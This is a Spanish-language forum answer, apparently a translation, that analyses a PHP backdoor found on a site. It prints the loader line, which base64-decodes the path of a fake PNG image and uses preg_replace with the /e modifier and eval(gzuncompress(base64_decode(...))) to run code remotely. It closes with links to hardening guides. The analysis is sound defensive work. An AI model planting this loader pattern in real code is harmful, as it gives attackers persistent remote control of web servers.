¿Qué hará realmente este código?
Tiene una puerta trasera que permite la ejecución remota de código
Créditoaborjabporladecodificacióninicial
<?phppreg_replace("#(.+)#ie",
"@include_once(base64_decode(""));",
"L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?>
Note esta cadena codificada en base64 que encontramos en el primer archivo:
L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc
Al decodificar esa cadena, apunta a este archivo:
/home4/mitzvahc/public_html/assets/img/logo_small.png
El archivo de "imagen" no es lo que parece ser.
kayge señaló que, obviamente, el archivo está accesible en línea. Así que descargué tu "imagen", que es donde está ocurriendo el hack real. El primer script está intentando cargar el contenido de esa imagen.
Dentro de la imagen simulada, hay dos declaraciones eval()
que permiten la ejecución completa de código arbitrario cuando se comprueba $GLOBALS[ooooOOOOo(0)]
.
Esto solo sucede si el atacante intenta establecer esa variable. 99% del tiempo cuando ves eval()
, todo lo que necesitas saber es que todo el servidor web está comprometido por la ejecución remota de código. Esto es lo que está haciendo:
eval(gzuncompress(base64_decode("evil_payload")));
Por supuesto, ya estaba comprometido a través de algún tipo de explotación , pero esto le da al atacante una puerta trasera confusa en su servidor web al que pueden acceder continuamente, incluso si tuviera que solucionar el problema permitiendo Para escribir archivos en primer lugar.
¿Cuáles son los contenidos maliciosos de gunzip?
- Puede verlos aquí .
- Dentro de lo anterior, aquí hay otro volcado de codificación (Gracias, Technik Empire )
-
Technik Empire solo contribuyó enormemente a la eliminación de información de los contenidos en # 2 .
-
nneonneo lo limpió aún más .
¿Por qué sucede esto?
¿Cómo es posible que un archivo PHP supuestamente bloqueado pueda actualizarse en el servidor?
Esto es demasiado amplio para responder sin tener acceso a todo. Es posible que tenga un endurecimiento incorrecto en la instalación de su Sistema de gestión de contenido , o puede haber una vulnerabilidad en algún lugar de su pila web. No me interesa visitar su sitio web teniendo en cuenta lo que está pasando, por lo que puede consultar estos enlaces si forman parte de su CMS:
- Lista de verificación de seguridad de Joomla
- Endurecimiento de WordPress
- Lista de verificación de implementación de Django
Si su CMS no está en la lista, busque las listas de control de seguridad / endurecimiento para su instalación de CMS. Si no está usando un CMS, sino su propio código, entonces es usted quien debe corregir sus agujeros de seguridad.
Puede haber varias razones por las que esto está sucediendo ... pero la conclusión es que: o su host web ha sido pirateado o tiene un exploit en su sitio web que permite a personas malintencionadas insertar código adicional y proporcionarles control total sobre su sitio web ... mientras tanto, están atacando a sus visitantes .